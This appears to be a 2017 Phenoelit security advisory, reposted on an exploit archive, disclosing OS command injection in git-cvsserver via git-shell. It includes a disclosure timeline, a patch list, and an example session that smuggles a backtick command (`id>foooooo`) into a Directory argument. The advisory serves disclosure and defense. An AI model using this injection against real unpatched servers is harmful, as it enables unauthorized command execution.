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Git cvsserver Remote Command Execution

Git cvsserver Remote Command Execution
Posted Sep 28, 2017
Authored by joernchen | Site phenoelit.de

The git subcommand cvsserver is a Perl script which makes excessive use of the backtick operator to invoke git. Unfortunately user input is used within some of those invocations and it allows for OS command injection. Versions before before 2.14.2, 2.13.6, 2.12.5, 2.11.4 and 2.10.5 are affected.

tags | exploit, perl
MD5 | d20dd2daa3a886f605dc703ed7b1a0f7

Git cvsserver Remote Command Execution

Change Mirror Download
Phenoelit Advisory <wir-haben-auch-mal-was-gefunden #0815 ++--->

[ Authors ]
joernchen <joernchen () phenoelit de>

Phenoelit Group (http://www.phenoelit.de)

[ Affected Products ]
Git before 2.14.2, 2.13.6, 2.12.5, 2.11.4 and 2.10.5 (git-cvsserver)
https://git-scm.com

[ Vendor communication ]
2017-09-08 Sent vulnerability details to the git-security list
2017-09-09 Acknowledgement of the issue, git maintainers ask if
a patch could be provided
2017-09-10 Patch is provided
2017-09-11 Further backtick operations are patched by the git
maintainers, corrections on the provided patch
2017-09-11 Revised patch is sent out
2017-09-11 Jeff King proposes to drop `git-cvsserver`'s default
invocation from `git-shell`
2017-09-22 Draft release for git 2.14.2 is created including the
fixes
2017-09-26 Release of this advisory, release of fixed git versions

[ Description ]
The `git` subcommand `cvsserver` is a Perl script which makes excessive
use of the backtick operator to invoke `git`. Unfortunately user input
is used within some of those invocations.


It should be noted, that `git-cvsserver` will be invoked by `git-shell`
by default without further configuration.

[ Example ]
Below a example of a OS Command Injection within `git-cvsserver`
triggered via `git-shell`:

=====8<=====
[git@host ~]$ cat .ssh/authorized_keys
command="git-shell -c \"$SSH_ORIGINAL_COMMAND\"" ssh-rsa AAAAB3NzaC ....

[joernchen@host ~]$ ssh git@localhost cvs server
Root /tmp
E /tmp/ does not seem to be a valid GIT repository
E
error 1 /tmp/ is not a valid repository
Directory .
`id>foooooo`
add
fatal: Not a git repository: '/tmp/'
Invalid module '`id>foooooo`' at /usr/lib/git-core/git-cvsserver line 3807, <STDIN> line 4.
[joernchen@host ~]$

[git@host ~]$ cat foooooo
uid=619(git) gid=618(git) groups=618(git)
[git@host ~]$
=====>8=====

[ Solution ]
Upgrade to one of the following git versions:
* 2.14.2
* 2.13.6
* 2.12.5
* 2.11.4
* 2.10.5

[ end of file ]

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